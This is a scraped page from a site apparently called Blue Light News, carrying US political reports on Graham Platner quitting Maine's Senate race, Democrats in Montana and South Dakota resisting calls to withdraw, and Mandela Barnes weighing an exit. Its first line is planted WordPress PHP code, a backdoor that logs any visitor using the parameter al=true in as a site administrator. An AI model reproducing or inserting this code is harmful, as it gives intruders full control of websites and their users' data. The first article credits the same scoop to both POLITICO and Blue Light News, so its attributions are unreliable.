// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Platner’s advisers urged him to go out with ‘gratitude.’ He led with grievance. – Blue Light News
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Platner’s advisers urged him to go out with ‘gratitude.’ He led with grievance.

Published

3 weeks ago

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Graham Platner went down swinging — even as some of his political confidants urged him not to.

Several of the embattled Maine Democrat’s closest advisers pleaded with him Wednesday to strike a “conciliatory” tone in the announcement terminating his Senate campaign, according to two people close to Platner’s team with knowledge of the internal discussions. But the progressive bucked their advice and made it a condition of dropping out of the race that he get free rein to assail establishment Democrats and blame them for the ignominious end to his rapid political rise.

And so, shortly after 8 p.m. Wednesday — just two days after POLITICO reported that a woman accused him of sexually assaulting her in 2022 — the oysterman released a defiant, emotional social media video. He continued to deny the allegations against him. He blasted the “corporate media system and the political establishment” for acting as “judge, jury and executioner.” And he railed against Washington Democrats for ripping the rug out from under him.

“Those in power, who have the ability to do so, are using these allegations as an excuse to take away all of the things that we need to run a campaign,” Platner said. “They would rather see Susan Collins win than have me be the next senator from Maine.”

The behind-the-scenes details about the debate that unfolded inside Platner’s campaign before his Wednesday night announcement were confirmed by the two people on condition they be granted anonymity to discuss the sensitive matter.

One of the individuals said Platner’s aides specifically urged him to focus on “gratitude” in his campaign farewell message — but to no avail. Platner’s campaign did not immediately respond to a request for comment.

Platner’s fiery 11-minute missive now stands as the capstone to an improbable campaign that overpowered staunch establishment opposition but collapsed as prominent Democrats — including the party’s powerful campaign arms and the candidate’s biggest backers — swiftly abandoned ship after Blue Light News’s report.

Shunned by national Democrats and locked out of state party negotiations over how to proceed, Platner unleashed his video — one final attempt to shape a race he once dominated.

But the end of Platner’s campaign was a massive relief to Democrats who saw their tough road to retake control of the Senate crumbling if he continued on against Collins in one of the most critical races on the map.

The Democratic apparatus rushed back in the minutes after his departure from the race, with Senate Democrats’ campaign arm launching a fund to raise money for the party’s new nominee. Senate Majority PAC, a top Democrat-aligned group, said it was “committed” to defeating Collins, the incumbent Republican — just days after declaring it was “redirecting resources away from” the race because of Platner’s initial reluctance to drop out.

The about-face capped off a frenzied two days in which Platner and his top advisers debated how to proceed in private while publicly sparring with the state Democratic Party over the terms for his departure and multiple candidates began jockeying in the shadow campaign to replace him.

By the time Platner dropped out, his former ally and unsuccessful gubernatorial candidate Troy Jackson, who had frequently campaigned alongside Platner and was also backed by Sen. Bernie Sanders (I-Vt.), had already filed the paperwork to run. Jackson’s former gubernatorial primary rivals Shenna Bellows and Nirav Shah had also made not-so-subtle moves toward campaigns. Maine Beer Company founder Dan Kleban, who briefly ran for the seat last year, officially entered the race. Unsuccessful House candidates Paige Loud and Jordan Wood, as well as state Rep. Valli Geiger, another Platner ally, are also weighing running.

Platner, whose anti-oligarchy messaging generated significant excitement on the left, had pushed for the state party to commit to replacing him on November’s ballot with a progressive in his mold, arguing that doing so would be reasonable since he won last month’s primary with more than 150,000 votes, according to one of the people who spoke with Blue Light News. But the party “refused to engage” with Platner’s requests, they said, leaving his campaign in the dark on next steps.

The same person said Platner shot his vertical, scorched-earth video more than four hours before releasing it. He waited to publish it on social media because his team wanted to lock in Platner’s entire staff for an all-hands call before news broke, the person said.

Platner spoke on that call around the time his video went live, expressing “a deep sense of gratitude” to his team for helping build a “working-class movement” and a desire for a “transparent” process for selecting his replacement, according to a person on the call who was granted anonymity to share details of the private discussion.

In the intervening hours between recording the video and the all-staff meeting, as Platner and his team huddled in Sullivan, Maine, on Wednesday afternoon, members of the state party’s committee governing body convened on Zoom to decide on a process to replace him.

The state party had feuded with the oysterman’s campaign for days: Campaign manager Ben Chin accused party leaders of allowing national Democrats to plan a succession process behind “closed doors” in a text to supporters midday Wednesday, while party officials slammed Platner’s team for what they saw as improperly trying to influence the process.

Chin was among the Platner aides who unsuccessfully urged the candidate to tone it down in his Wednesday night video, according to two of the people who spoke with Blue Light News.

When state party committee members emerged from the Zoom meeting a bit after 7 p.m., they had a framework for a party convention to replace Platner later this month, with delegates to be selected from each county and a growing list of candidates vying for the nod. The general lack of details and prospect of a convention — rather than a caucus open to the public — left some progressives worried.

But the time for discussion was over.

The plan was in place, party leaders said, “if there is a vacancy to fill.” Less than an hour later, Platner gave them that opening.

Aaron Pelish contributed to this report.

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It might take ‘a lightning bolt from God’ to get these Senate Democratic hopefuls to bow for independents

Published

10 hours ago

on

August 1, 2026

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Democrats vying for a pair of deep-red Senate seats are facing increasingly desperate calls from within their party to step aside for more promising independent candidates.

But they say they won’t drop out — unless there’s divine intervention.

Democrats Alani Bankhead of Montana and Julian Beaudion of South Dakota both told Blue Light News they have no plans to exit the race, despite pressure from national — and even some state — Democrats to step aside. Numerouspolls, coupled with strongerfundraising and campaign operations, show independents Seth Bodnar and Brian Bengs have a stronger — if still muddied — path to victory in November.

If the Democrats stay on the ballot, it will be almost impossible to claw these seats away from Republicans in Mountain West states that President Donald Trump dominated in 2024.

“I’m a person of faith. If a lightning bolt from God struck me and was like, ‘Alani, get out of the race,’ sure,” Bankhead told Blue Light News when asked if anything would change her mind. Otherwise, she said there’s “absolutely nothing.”

Beaudion has a similar resolve: “To be clear, we are not considering dropping out of the race,” he told Blue Light News.

By digging in, the Democrats could imperil their party’s hopes of regaining Senate control in an already uphill cycle. There’s broad agreement across the many factions of the Democratic Party that a crowded race relinquishes any hope of victory. Bengs has argued that Beaudion remaining on the ballot jeopardizes his chance of winning this fall against GOP Sen. Mike Rounds. Bodnar has maintained he has a viable path either way, and he could be helped out if the Libertarian candidate in the race pulls votes from Republican Kurt Alme.

The deadline to withdraw in South Dakota is Tuesday, and Montana’s is shortly after, on Aug. 10. Democrats across the ideological spectrum in Washington and their home states are calling on Bankhead and Beaudion to step down to help their party bank-shot a Senate majority, with the idea that a victorious independent candidate could caucus with a future Democratic majority — or at least not party up with Republicans.

“The math is inescapable. If it’s impossible for a Democrat to win, it is vital that the Democrats step aside and give the independent at least a shot of beating the Republican,” said Matt Bennett, a co-founder of the centrist Democratic think tank Third Way. “Beating the MAGA Republicans is priorities one, two and three. Who we beat them with is pretty far down the list.”

Democrats have already had some luck setting up one-on-one independent vs. Republican matchups in other Trump-won states. The Democratic candidate in Nebraska withdrew to pave the way for independent Dan Osborn — though an ongoing court case from a Democratic anti-abortion pastor could complicate things. And Idaho’s Democratic nominee recently dropped out in favor of independent Todd Achilles.

“Knowing that your campaign is not gonna break through, and just being able to recognize that is probably the hardest thing of all,” Achilles said of Democrat David Roth’s decision to step down. “I do appreciate what David did in Idaho.”

Bankhead and Beaudion insist they can win, even despite the headwinds. Bankhead expects to ride the anti-incumbency and pro-outsider wave into office, and Beaudion credits his relationships with voters throughout the state.

“Nobody ever knows what’s actually going to happen in an election,” Bankhead said. “The people decide on November 3.”

But Idaho and Nebraska Democrats reached a conclusion that Bankhead and Beaudion did not: The party’s brand is so tarnished in their states that the “D” label on the ballot line provides no viable path to victory.

“I am a professional partisan Democrat, and I have every incentive to be on the Democrat’s side here,” said Pat Dennis, president of American Bridge 21st Century, an opposition-research firm. “But ultimately, the priority is to take the Senate majority away from Republicans. In some states, that path is very difficult to impossible for a Democrat. In those cases, it is both strategically and morally correct to take the path that is most likely to achieve the goal we’re going for.”

Faiz Shakir, a longtime adviser to Sen. Bernie Sanders (I-Vt.), did not go as far as to call for Bankhead and Beaudion to step aside. But he agreed that there’s real opportunity for independents who aren’t stuck with the Democratic brand’s baggage.

“Being someone who’s not associated with the two-party system right now helps you greatly in many parts of this country, particularly those that have much more rural and conservative tendencies,” said Shakir. “There’s frustration and anger with Trump, and there’s not as much of a love and appreciation for the Democratic Party.”

Shakir also said that competitive races in these red areas — even if the independents can’t pull off a win — could force Republicans to pull much-needed resources out of battleground races in order to defend their turf.

But he also offered a warning to his party: Talking too much about the independents’ strong fundraising and establishment backing risks tying them to the “donor class” and turning them “into a worse version of what people assumed of a Democrat.”

“You gotta give them the space to be both independent in mind and in spirit,” he said. “The argument for them is truly that they are building a movement in the state that people are hungry for, and that in the support of those people, they’re finding resonance. And that would be the argument for a Democrat to step aside.”

Republicans, meanwhile, are working to paint the independents and Democrats as one and the same. They’re also trying to elevate the Democrats in an attempt to stop the independents from gaining more traction: Trump on social media attacked Bankhead in July, ignoring Bodnar entirely.

“Democrat-backed independents all support the same socialist policies and middle-class tax hikes that made Democrats toxic across the country,” Joanna Rodriguez, the communications director for the National Republican Senatorial Committee, said in a statement. “Republicans will defeat them in November.”

The inside calls for Beaudion and Bankhead to step aside aren’t just coming from Washington. Many local Democrats in Montana and South Dakota have said publicly they should not continue their campaigns. Nancy Keenan, the former executive director of the Montana Democratic Party who has endorsed Bodnar, wrote in a June op-ed that “there is not a viable path for a Democratic victory in this race.”

Bennett, the Third Way co-founder, went further, saying if Democrats fail to flip the Senate in November, the blame would lie at the hands of Bankhead and Beaudion.

“If we fumble away a majority because these no hope candidates are too vain to get out of the race, that’ll be a political calamity,” he said. “These people need to understand that they will become pariahs.”

Bankhead doesn’t see it that way.

“I’m not swayed by it because I’m not here for power and money,” she said. “It’s still the old, rich D.C. powerful political circles that are trying to keep more progressive candidates out of the fight so they can maintain the status quo.”

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FCC chair Brendan Carr on Trump, free speech and his threats against broadcasters

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2 days ago

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July 31, 2026

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FCC chair Brendan Carr on Trump, free speech and his threats against broadcasters

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Mandela Barnes considering dropping out of Wisconsin governor race

Published

2 days ago

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July 30, 2026

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Former Lt. Gov. Mandela Barnes and his team are discussing dropping out of the crowded Democratic primary for Wisconsin governor, according to two people with direct knowledge of the matter.

The conversations come as Democratic officials in the state brace for damaging media reports about Barnes expected to hit in the coming hours. Barnes and his team have been on calls Thursday to discuss how to proceed, according to the people, granted anonymity to share private details.

The primary had become increasingly messy as more moderate leaning Democrats like Barnes have tried to stave off Democratic socialist Francesca Hong’s rise, worried her victory could boost presumed Republican nominee Tom Tiffany. Wisconsin Gov. Tony Evers’ endorsement of David Crowley — who reentered the race in the final stretch — further complicated the moderate coalition.

A spokesperson for Barnes’ campaign did not immediately respond to a request for comment.

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